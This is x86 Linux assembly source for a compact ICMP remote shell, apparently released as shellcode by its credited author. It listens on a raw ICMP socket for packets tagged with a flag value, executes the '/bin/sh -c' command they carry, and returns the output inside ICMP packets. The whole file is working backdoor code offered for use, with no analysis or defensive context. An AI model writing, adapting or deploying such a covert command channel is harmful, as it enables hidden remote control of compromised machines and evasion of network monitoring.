; ; Copyright (c) 2007 by <mu-b@digit-labs.org> ; ; 235-byte raw-socket ICMP/checksum shell - (x86-lnx) ; by mu-b - Nov 2006 ; ; icmp with identifier __flag_byte and commands in the ; following format:- ; "/bin/sh\x00-c\x00<command here>\x00" ; ; unlike *other* icmp shells, this will reply with ; 255-(sizeof icmp_hdr) bytes of output.. ; %define zero_reg esi %define zero_reg_w si %define sock_reg edi %define __flag_byte 6996h global _shell _shell: xor zero_reg, zero_reg mov ebp, esp ; sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); _socket: lea ebx, [zero_reg+3] push byte 1 push ebx dec ebx push ebx dec ebx mov ecx, esp lea eax, [zero_reg+66h] int 80h ; socket(); mov sock_reg, eax ; setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &1, 1); _setsockopt: push ebx push esp push byte 3h push zero_reg push sock_reg mov ecx, esp mov bl, byte 0eh mov al, byte 66h int 80h ; setsocketopt(); ; while(1) _while_loop: ; read(sockfd, cmd, 255); cdq dec byte dl mov ecx, ebp mov ebx, sock_reg lea eax, [zero_reg+3] int 80h ; read(); lea ebx, [ebp+24] xor [ebx], word __flag_byte jne short _while_loop ; pipe(pp) lea ebx, [ebp-8] mov al, byte 2ah int 80h ; pipe(); ; fork() mov al, byte 2h int 80h ; fork(); test eax, eax jnz short _parent _child: ; close(pp[0]) mov ebx, [ebp-8] mov al, byte 6h int 80h ; close(); ; dup2(pp[1], 0); dup2(pp[1], 1); dup2(pp[1], 2); lea ecx, [zero_reg+3] ; pp[1] == pp[0]+1 inc ebx .1: dec ecx mov al, byte 3fh int 80h ; dup2(); jnz .1 ; execve(cmd + 28, {cmd + 28, cmd + 36, cmd + 39, 0}, 0); push zero_reg lea ebx, [ebp+39] push ebx sub ebx, byte 3 push ebx sub ebx, byte 8 push ebx mov ecx, esp cdq mov al, byte 0bh int 80h ; execve(); _parent: ; close(pp[1]) mov ebx, [ebp-4] lea eax, [zero_reg+6] int 80h ; close(); _parent_read: .1: ; read(pp[0], cmd, bytes_left); ; edx == 255 lea ecx, [ebp+28] mov ebx, [ebp-8] mov al, byte 3h int 80h ; read(); test eax, eax jl _while_loop mov al, byte 6h int 80h ; close(); .2: ; fix up ttl (optional?! make sure its high!) ; mov [ebp+8], byte 0ffh ; switch ip's mov ecx, [ebp+12] xchg [ebp+16], ecx mov [ebp+12], ecx ; set icmp type to echo reply (optional?!) ;mov [ebp+20], word zero_reg_w ; zero checksum ;mov [ebp+22], word zero_reg_w ; set icmp type to echo and zero checksum mov [ebp+20], zero_reg lea ecx, [zero_reg+117] lea esi, [ebp+20] cdq .3: lodsw add edx, eax loop .3 lodsb xor ah, ah add eax, edx mov esi, eax shr eax, byte 16 movzx esi, si add eax, esi mov edx, eax shr edx, byte 16 add eax, edx not ax ; set checksum mov [ebp+22], word ax cdq xor eax, eax xor zero_reg, zero_reg ; struct sockaddr * push zero_reg push zero_reg push dword [ebp+16] push byte 2 ; sendto(sockfd, cmd, 255, 0, ...); mov ecx, esp push byte 16 push ecx push zero_reg mov dl, byte 0ffh push edx push ebp push sock_reg mov ecx, esp mov bl, 0bh mov al, 66h int 80h ; sendto(); cdq mov ecx, ebp mov ebx, zero_reg mov al, 72h int 80h ; wait(); jmp _while_loop